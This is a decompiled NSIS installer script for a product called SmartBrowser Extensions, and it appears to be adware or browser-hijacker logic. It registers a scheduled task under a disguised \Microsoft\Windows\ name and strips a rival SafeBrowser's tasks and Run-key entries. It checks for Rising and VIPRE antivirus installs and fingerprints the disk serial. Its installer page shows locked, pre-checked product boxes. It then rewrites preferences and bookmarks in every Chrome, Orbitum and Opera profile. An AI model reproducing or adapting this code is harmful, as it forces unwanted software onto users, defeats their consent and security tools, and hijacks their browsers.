label_4932:
StrCpy $5 $2 $8
IntOp $5 $5 + 0
IntOp $8 $8 + 1
StrCpy $2 $2 "" $8
StrCmp $4 "" 0 label_4938
StrCpy $4 $5
label_4938:
StrCmp $9 : label_4925
IntCmp $4 0 0 label_4941
IntCmp $5 -1 label_4959 0 label_4957
label_4941:
StrCmp $R7 "" 0 label_4949
StrCpy $R7 0
FileOpen $8 $0 r
label_4944:
FileRead $8 $9
IfErrors label_4948
IntOp $R7 $R7 + 1
Goto label_4944
label_4948:
FileClose $8
label_4949:
IntCmp $4 0 label_4954 0 label_4954
IntOp $4 $R7 + $4
IntOp $4 $4 + 1
IntCmp $4 0 label_4954 0 label_4954
StrCpy $4 0
label_4954:
IntCmp $5 -1 label_4959 0 label_4957
IntOp $5 $R7 + $5
IntOp $5 $5 + 1
label_4957:
IntCmp $4 $5 label_4959 label_4959
StrCpy $5 $4
label_4959:
Goto $7
label_4960:
StrCmp $1 /NUL label_4991
Push $1
Exch $0
; Push $0
; Exch
; Pop $0
Push $1
Push $2
label_4967:
StrCpy $2 $0 1 -1
StrCmp $2 \ 0 label_4971
StrCpy $0 $0 -1
Goto label_4967
label_4971:
StrCpy $1 0
label_4972:
IntOp $1 $1 - 1
StrCpy $2 $0 1 $1
StrCmp $2 \ label_4976
StrCmp $2 "" 0 label_4972
label_4976:
StrCpy $0 $0 $1
Pop $2
Pop $1
Exch $0
; Push $0
; Exch
; Pop $0
Pop $R4
StrCmp $R4 "" 0 label_4985
StrCpy $R4 $EXEDIR
label_4985:
GetTempFileName $R4 $R4
StrCmp $R4 "" 0 label_4988
GetTempFileName $R4
label_4988:
ClearErrors
Push $R4
FileOpen $R4 $R4 w
label_4991:
FileOpen $R5 $0 r
IfErrors label_5052
label_4993:
IntOp $R8 $R8 + 1
FileRead $R5 $R9
IfErrors label_5053
StrCmp $2$4$5 "" label_5046
IntCmp $4 $R8 label_5002 0 label_5046
StrCmp $5 -1 label_5002
IntCmp $5 $R8 label_5002 0 label_5002
StrCpy $7 4997
Goto label_4917
label_5002:
StrCpy $7 $R9
Push $0
Push $1
Push $2
Push $3
Push $4
Push $5
Push $6
Push $7
Push $R4
Push $R5
Push $R6
Push $R7
Push $R8
StrCpy $R6 $4:$5
StrCmp $R7 "" label_5020
IntOp $R7 $R8 - $R7
IntOp $R7 $R7 - 1
label_5020:
Call $3
Pop $9
Pop $R8
Pop $R7
Pop $R6
Pop $R5
Pop $R4
Pop $7
Pop $6
Pop $5
Pop $4
Pop $3
Pop $2
Pop $1
Pop $0
IfErrors label_5052
StrCmp $9 StopLineFind 0 label_5039
IntOp $6 $6 + 1
Goto label_5053
label_5039:
StrCmp $1 /NUL label_4993
StrCmp $9 SkipWrite 0 label_5043
IntOp $6 $6 + 1
Goto label_4993
label_5043:
StrCmp $7 $R9 label_5050
IntOp $6 $6 + 1
Goto label_5050
label_5046:
StrCmp $1 /NUL label_4993
StrCmp $R6 TextFunc_LineFind_cut 0 label_5050
IntOp $6 $6 + 1
Goto label_4993
label_5050:
FileWrite $R4 $R9
Goto label_4993
label_5052:
SetErrors
label_5053:
StrCmp $1 /NUL label_5056
FileClose $R4
Pop $R4
label_5056:
FileClose $R5
IfErrors label_5079
StrCmp $1 /NUL label_5080
StrCmp $1 "" 0 label_5061
StrCpy $1 $0
label_5061:
StrCmp $6 0 0 label_5073
FileOpen $7 $0 r
FileSeek $7 0 END $8
FileClose $7
FileOpen $7 $R4 r
FileSeek $7 0 END $9
FileClose $7
IntCmp $8 $9 0 label_5073
Delete $R4
StrCmp $1 $0 label_5080
CopyFiles /SILENT $0 $1 ; $(LSTR_7)$1 ; "Copy to "
Goto label_5080
label_5073:
Delete $EXEDIR\$1
Rename $R4 $EXEDIR\$1 ; $R4->$EXEDIR\$1
IfErrors 0 label_5080
Delete $1
Rename $R4 $1 ; $R4->$1
IfErrors 0 label_5080
label_5079:
SetErrors
label_5080:
Pop $R9
Pop $R8
Pop $R7
Pop $R6
Pop $R5
Pop $R4
Pop $9
Pop $8
Pop $7
Pop $6
Pop $5
Pop $4
Pop $3
Pop $2
Pop $1
Pop $0
Return
label_5097:
Pop $0
nsExec::ExecToStack "schtasks /create /tn $\"\Microsoft\Windows\$_153_$5$\" /xml $\"$PLUGINSDIR\TaskES.xml$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /create /tn $\"\Microsoft\Windows\$_153_$5$\" /xml $\"$PLUGINSDIR\TaskES.xml$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete $PLUGINSDIR\TaskES.xml
label_5104:
WriteINIStr $EXEDIR\rsext rsext rs true
StrCpy $5 SB
nsExec::ExecToStack "schtasks /delete /tn SafeBrowser /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn SafeBrowser /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\SafeBrowser$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\SafeBrowser$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\SafeBrowser$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\Windows\SafeBrowser$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\$_153_$5$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\$_153_$5$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\$_153_$5$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\Windows\$_153_$5$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
ClearErrors
ReadRegStr $1 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $_153_$5
IfErrors label_5135
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $_153_$5
label_5135:
ClearErrors
ReadRegStr $1 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SafeBrowser
IfErrors label_5139
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SafeBrowser
label_5139:
SetRegView 64
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run $_153_$5
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run SafeBrowser
SetRegView 32
Quit
label_5144:
ClearErrors
ReadINIStr $1 $EXEDIR\le LE NTSS
IfErrors label_5148
StrCpy $_152_ 1
label_5148:
IfFileExists $PROGRAMFILES\Rising 0 label_5150
Call func_19127
label_5150:
IfFileExists $PROGRAMFILES\VIPRE 0 label_5152
Call func_231
label_5152:
Call func_19359
FunctionEnd
Function func_5154 ; Page 0, Pre
SendMessage $_0_ ${WM_SETTEXT} 0 "STR:Welcome to the SmartBrowser Extensions 4.5.8.7879"
SendMessage $_2_ ${WM_SETTEXT} 0 "STR:Setup Wizard"
nsDialogs::Create 1018
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push 1018
; CallInstDLL $PLUGINSDIR\nsDialogs.dll Create
nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 0u 10u 100% 28u "Welcome to the SmartBrowser Extensions 4.5.8.7879"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "Welcome to the SmartBrowser Extensions 4.5.8.7879"
; Push 28u
; Push 100%
; Push 10u
; Push 0u
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000100
; Push STATIC
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 0u 28u 100% 28u "This wizard will guide you through the installation of SmartBrowser Extensions 4.5.8.7879"
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "This wizard will guide you through the installation of SmartBrowser Extensions 4.5.8.7879"
; Push 28u
; Push 100%
; Push 28u
; Push 0u
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000100
; Push STATIC
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 0u 48u 85% 38u "It is recommended that you close all other applications before starting Setup. This will make it possible to update relevant system files without having to reboot your computer."
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "It is recommended that you close all other applications before starting Setup. This will make it possible to update relevant system files without having to reboot your computer."
; Push 38u
; Push 85%
; Push 48u
; Push 0u
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000100
; Push STATIC
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 0u 84u 85% 38u "Click Next to continue."
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "Click Next to continue."
; Push 38u
; Push 85%
; Push 84u
; Push 0u
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000100
; Push STATIC
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
nsDialogs::Show
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\nsDialogs.dll Show
FunctionEnd
Function func_5214 ; Page 1, Pre
SendMessage $_0_ ${WM_SETTEXT} 0 "STR:Install products and End User License Agreement"
SendMessage $_2_ ${WM_SETTEXT} 0 "STR:Please review the information before installing."
nsDialogs::Create 1018
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push 1018
; CallInstDLL $PLUGINSDIR\nsDialogs.dll Create
Pop $_19_
nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00000007 0x00000020 0 0% 100% 40% "Install products:"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "Install products:"
; Push 40%
; Push 100%
; Push 0%
; Push 0
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000007
; Push BUTTON
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
Pop $_22_
nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 0 7u 7u 4% 10% ""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push ""
; Push 10%
; Push 4%
; Push 7u
; Push 7u
; Push 0
; Push 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000
; Push BUTTON
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
Pop $1
SendMessage $1 0x00F1 1 0
EnableWindow $1 0
nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 19u 10u 90% 18u "Install SmartBrowser Extension for all Chromium browsers"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "Install SmartBrowser Extension for all Chromium browsers"
; Push 18u
; Push 90%
; Push 10u
; Push 19u
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000100
; Push STATIC
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 0 7u 18u 4% 10% ""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push ""
; Push 10%
; Push 4%
; Push 18u
; Push 7u
; Push 0
; Push 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000
; Push BUTTON
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
Pop $1
SendMessage $1 0x00F1 1 0
EnableWindow $1 0
nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 19u 21u 90% 16u "Install SmartBrowser Extension for browser Mozilla Firefox"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "Install SmartBrowser Extension for browser Mozilla Firefox"
; Push 16u
; Push 90%
; Push 21u
; Push 19u
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000100
; Push STATIC
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 0 7u 29u 4% 10% ""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push ""
; Push 10%
; Push 4%
; Push 29u
; Push 7u
; Push 0
; Push 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000
; Push BUTTON
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
Pop $1
SendMessage $1 0x00F1 1 0
EnableWindow $1 0
nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 19u 32u 90% 16u "Install TopLinks shortcuts to all users desktop"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "Install TopLinks shortcuts to all users desktop"
; Push 16u
; Push 90%
; Push 32u
; Push 19u
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000100
; Push STATIC
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000 0 7u 40u 4% 10% ""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push ""
; Push 10%
; Push 4%
; Push 40u
; Push 7u
; Push 0
; Push 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000
; Push BUTTON
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
Pop $1
SendMessage $1 0x00F1 1 0
EnableWindow $1 0
nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 19u 43u 90% 10u "Install News Tab Extension for all Chromium browsers"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "Install News Tab Extension for all Chromium browsers"
; Push 10u
; Push 90%
; Push 43u
; Push 19u
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000100
; Push STATIC
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00000007 0x00000020 0 41% 100% 22% Warning:
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push Warning:
; Push 22%
; Push 100%
; Push 41%
; Push 0
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000007
; Push BUTTON
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
Pop $_23_
nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 12 48% 96% 12% "During installation will be amended in the browser settings and also will be closed all browsers on the OS."
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "During installation will be amended in the browser settings and also will be closed all browsers on the OS."
; Push 12%
; Push 96%
; Push 48%
; Push 12
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000100
; Push STATIC
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
nsDialogs::CreateControl LINK 0x40000000|0x10000000|0x04000000|0x00010000|0x0000000B 0 60u 89% 175u 10u "END USER LICENSE AGREEMENT (eula.txt)"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "END USER LICENSE AGREEMENT (eula.txt)"
; Push 10u
; Push 175u
; Push 89%
; Push 60u
; Push 0
; Push 0x40000000|0x10000000|0x04000000|0x00010000|0x0000000B
; Push LINK
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
Pop $1
Push $0
Push $1
StrCpy $1 $1
StrCpy $0 19364
nsDialogs::OnClick $1 $0
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push $0
; Push $1
; CallInstDLL $PLUGINSDIR\nsDialogs.dll OnClick
Pop $1
Pop $0
nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00000007 0x00000020 0 64% 100% 36% "License Agreement:"
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "License Agreement:"
; Push 36%
; Push 100%
; Push 64%
; Push 0
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000007
; Push BUTTON
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 12 72% 96% 24% "Please review the license terms before installing SmartBrowser Extensions. Press EULA link to see of the agreement. You must accept the agreement to install SmartBrowser Extensions. If you press Install you completely confirm that you agree with the terms of the agreement."
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; Push "Please review the license terms before installing SmartBrowser Extensions. Press EULA link to see of the agreement. You must accept the agreement to install SmartBrowser Extensions. If you press Install you completely confirm that you agree with the terms of the agreement."
; Push 24%
; Push 96%
; Push 72%
; Push 12
; Push 0x00000020
; Push 0x40000000|0x10000000|0x04000000|0x00000100
; Push STATIC
; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl
nsDialogs::Show
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsDialogs.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\nsDialogs.dll Show
StrCpy $_21_ ""
FunctionEnd
Function func_5423
StrCmp $_32_ 1 label_5482
Pop $R3
StrCpy $_20_ ""
StrCpy $R1 ""
ClearErrors
ReadRegStr $R0 HKLM "SOFTWARE\Microsoft\Windows NT\CurrentVersion" CurrentVersion
IfErrors label_5465
StrCpy $R0 $R0 3
StrCmp $R0 5.0 label_5434
StrCmp $R0 5.1 label_5434
StrCmp $R0 5.2 0 label_5465
label_5434:
StrCpy $1 ""
StrCpy $2 ""
nsExec::ExecToStack "wmic path win32_physicalmedia where tag=$\"\\\\.\\PHYSICALDRIVE0$\" get serialnumber /value"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "wmic path win32_physicalmedia where tag=$\"\\\\.\\PHYSICALDRIVE0$\" get serialnumber /value"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Pop $1
Pop $2
Push $1$2
Push serialnumber=
Call :label_405
Pop $R1
Push $R1
Push 12
Push ""
Push ""
Call :label_1606
Pop $R1
StrLen $5 $R1
IntCmp $5 3 0 0 label_5458
StrCpy $R1 ""
StrCpy $_20_ ""
Goto label_5482
label_5458:
Push $R1
ALPHAGSEED::SEED
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\ALPHAGSEED.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\ALPHAGSEED.dll SEED
Pop $_20_
Goto label_5482
label_5465:
StrCpy $R1 ""
ALPHAGHWSN::GHWSN
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHWSN.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\ALPHAGHWSN.dll GHWSN
Pop $R1
StrLen $5 $R1
IntCmp $5 3 0 0 label_5476
StrCpy $R1 ""
StrCpy $_20_ ""
Goto label_5482
label_5476:
Push $R1
ALPHAGSEED::SEED
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\ALPHAGSEED.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\ALPHAGSEED.dll SEED
Pop $_20_
label_5482:
FunctionEnd
Section Óñòàíîâêà ; Section_0
Call func_261
Call func_13460
Call func_14159
Call func_14782
Call func_15502
Call func_16293
Call func_17623
Call func_18799
Call func_2792
Call func_967
StrCmp $_32_ 1 0 label_5539
IfFileExists $EXEDIR\le 0 label_5538
ClearErrors
ReadINIStr $8 $EXEDIR\le LE GUID
IfErrors label_5538
StrCpy $_43_ $COMMONFILES\$8
ReadINIStr $9 $EXEDIR\le LE ID
ClearErrors
ReadINIStr $_54_ $EXEDIR\le LE VER
IfErrors 0 label_5505
StrCpy $_54_ none
Goto label_5508
label_5505:
StrCpy $_54_ $_54_ "" 3
Push $_54_
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
label_5508:
Call func_83
Pop $_54_
IfFileExists $_43_ 0 label_5538
StrCpy $_55_ $9
Push $_55_
Call func_13239
Pop $_55_
StrCpy $_51_ $_55_
StrCpy $_38_ 1
StrCpy $_39_ 1
StrCpy $_41_ 1
StrCpy $_42_ 1
StrCpy $_138_ ""
ClearErrors
ReadINIStr $9 $EXEDIR\le LE IDNT
IfErrors label_5529
StrCpy $_140_ $9
Push $_140_
Call func_13239
Pop $_140_
StrCpy $_138_ $_140_
label_5529:
StrCpy $_139_ ""
ClearErrors
ReadINIStr $9 $EXEDIR\le LE VERNT
IfErrors label_5538
StrCpy $9 $9 "" 3
Push $9
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_83
Pop $_139_
label_5538:
Goto label_5614
label_5539:
Call func_12622
IfFileExists $EXEDIR\le 0 label_5542
ReadINIStr $_44_ $EXEDIR\le LE GUID
label_5542:
Call func_13145
Pop $8
StrCmp $8 "" 0 label_5546
StrCpy $8 "Chrome Local Extensions"
label_5546:
StrCpy $_43_ $COMMONFILES\$8
StrCpy $_106_ $8
CreateDirectory $_43_
IfFileExists $_43_ 0 label_5553
WriteINIStr $EXEDIR\le LE GUID $8
StrCpy $_45_ $_43_
Call func_12133
label_5553:
nsisunz::Unzip $PLUGINSDIR\sll.zip $_43_
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $_43_
; Push $PLUGINSDIR\sll.zip
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
CreateDirectory $PLUGINSDIR\CRXIMG
Push 18
Push 1
Call func_13173
Pop $1
nsisunz::Unzip /file $1.png $PLUGINSDIR\imgs.zip $PLUGINSDIR\CRXIMG
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $PLUGINSDIR\CRXIMG
; Push $PLUGINSDIR\imgs.zip
; Push $1.png
; Push /file
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
Rename /REBOOTOK $PLUGINSDIR\CRXIMG\$1.png $PLUGINSDIR\CRXIMG\48.png ; $PLUGINSDIR\CRXIMG\$1.png->$PLUGINSDIR\CRXIMG\48.png
nsisunz::Unzip /file GDO.png $PLUGINSDIR\imgs.zip $PLUGINSDIR\CRXIMG
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $PLUGINSDIR\CRXIMG
; Push $PLUGINSDIR\imgs.zip
; Push GDO.png
; Push /file
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
nsisunz::Unzip /file GDE.png $PLUGINSDIR\imgs.zip $PLUGINSDIR\CRXIMG
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $PLUGINSDIR\CRXIMG
; Push $PLUGINSDIR\imgs.zip
; Push GDE.png
; Push /file
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
IfFileExists $_43_\128.png 0 label_5605
Delete $_43_\128.png
IfFileExists $_43_\128.png label_5605
Push 18
Push 1
Call func_13173
Pop $1
nsisunz::Unzip /file $1.png $PLUGINSDIR\imgs.zip $_43_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsisunz.dll
; SetDetailsPrint lastused
; Push $_43_
; Push $PLUGINSDIR\imgs.zip
; Push $1.png
; Push /file
; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip
Rename /REBOOTOK $_43_\$1.png $_43_\128.png ; $_43_\$1.png->$_43_\128.png
label_5605:
IfFileExists $_43_\manifest.json 0 label_5607
Push $0
label_5607:
Push $_43_\manifest.json
Push ""
Push 1:-1
StrCpy $0 13274
Push $0
Call :label_4862
Pop $0
label_5614:
IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data" 0 label_5671
IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default" 0 label_5622
StrCpy $_24_ "$LOCALAPPDATA\Google\Chrome\User Data\Default"
StrCmp $_32_ 1 0 label_5621
StrCpy $_64_ $_24_
Call func_8944
Goto label_5622
label_5621:
Call func_6174
label_5622:
IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\*" 0 label_5669
StrCpy $_19_ ""
StrCpy $_22_ ""
StrCpy $_23_ 1
FindFirst $_19_ $_22_ "$LOCALAPPDATA\Google\Chrome\User Data\*"
label_5627:
StrCmp $_22_ "" label_5668
Push "$LOCALAPPDATA\Google\Chrome\User Data\$_22_"
Call :label_5631
Goto label_5654
label_5631:
Exch $0
; Push $0
; Exch
; Pop $0
Push $1
ClearErrors
FindFirst $1 $0 $0\*.*
IfErrors 0 label_5640
StrCpy $0 -1
Goto label_5649
label_5640:
StrCmp $0 . 0 label_5644
FindNext $1 $0
StrCmp $0 .. 0 label_5644
FindNext $1 $0
label_5644:
FindClose $1
IfErrors 0 label_5648
StrCpy $0 0
Goto label_5649
label_5648:
StrCpy $0 1
label_5649:
Pop $1
Exch $0
; Push $0
; Exch
; Pop $0
Return
label_5654:
Pop $1
StrCmp $1 -1 label_5664
StrCmp $_22_ Default label_5664
IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\$_22_\Preferences" 0 label_5664
StrCpy $_24_ "$LOCALAPPDATA\Google\Chrome\User Data\$_22_"
StrCmp $_32_ 1 0 label_5663
StrCpy $_64_ $_24_
Call func_8944
Goto label_5664
label_5663:
Call func_6174
label_5664:
IntOp $_23_ $_23_ + 1
IntCmp $_23_ 300 label_5668 0 label_5668
FindNext $_19_ $_22_
Goto label_5627
label_5668:
FindClose $_19_
label_5669:
Call func_12818
Goto label_5676
label_5671:
StrCmp $_32_ 1 label_5676
CreateDirectory "$LOCALAPPDATA\Google\Chrome\User Data\Default"
StrCpy $_47_ "$LOCALAPPDATA\Google\Chrome\User Data\Default\Bookmarks"
Call func_12634
Call func_6495
label_5676:
IfFileExists "$LOCALAPPDATA\Orbitum\User Data" 0 label_5709
IfFileExists "$LOCALAPPDATA\Orbitum\User Data\Default" 0 label_5684
StrCpy $_28_ "$LOCALAPPDATA\Orbitum\User Data\Default"
StrCmp $_32_ 1 0 label_5683
StrCpy $_64_ $_28_
Call func_8944
Goto label_5684
label_5683:
Call func_7897
label_5684:
IfFileExists "$LOCALAPPDATA\Orbitum\User Data\*" 0 label_5707
StrCpy $_19_ ""
StrCpy $_22_ ""
StrCpy $_23_ 1
FindFirst $_19_ $_22_ "$LOCALAPPDATA\Orbitum\User Data\*"
label_5689:
StrCmp $_22_ "" label_5706
Push "$LOCALAPPDATA\Orbitum\User Data\$_22_"
Call :label_5631
Pop $1
StrCmp $1 -1 label_5702
StrCmp $_22_ Default label_5702
IfFileExists "$LOCALAPPDATA\Orbitum\User Data\$_22_\Preferences" 0 label_5702
StrCpy $_28_ "$LOCALAPPDATA\Orbitum\User Data\$_22_"
StrCmp $_32_ 1 0 label_5701
StrCpy $_64_ $_28_
Call func_8944
Goto label_5702
label_5701:
Call func_7897
label_5702:
IntOp $_23_ $_23_ + 1
IntCmp $_23_ 300 label_5706 0 label_5706
FindNext $_19_ $_22_
Goto label_5689
label_5706:
FindClose $_19_
label_5707:
Call func_13038
Goto label_5711
label_5709:
StrCmp $_32_ 1 label_5711
Call func_7986
label_5711:
IfFileExists "$APPDATA\Opera Software\Opera Stable" 0 label_5720
StrCmp $_32_ 1 0 label_5717
StrCpy $_64_ "$APPDATA\Opera Software\Opera Stable"
Call func_6786
Call func_8944
Goto label_5718
label_5717:
Call func_6574
label_5718:
Call func_12984
Goto label_5725
label_5720:
StrCmp $_32_ 1 label_5725
CreateDirectory "$APPDATA\Opera Software\Opera Stable"
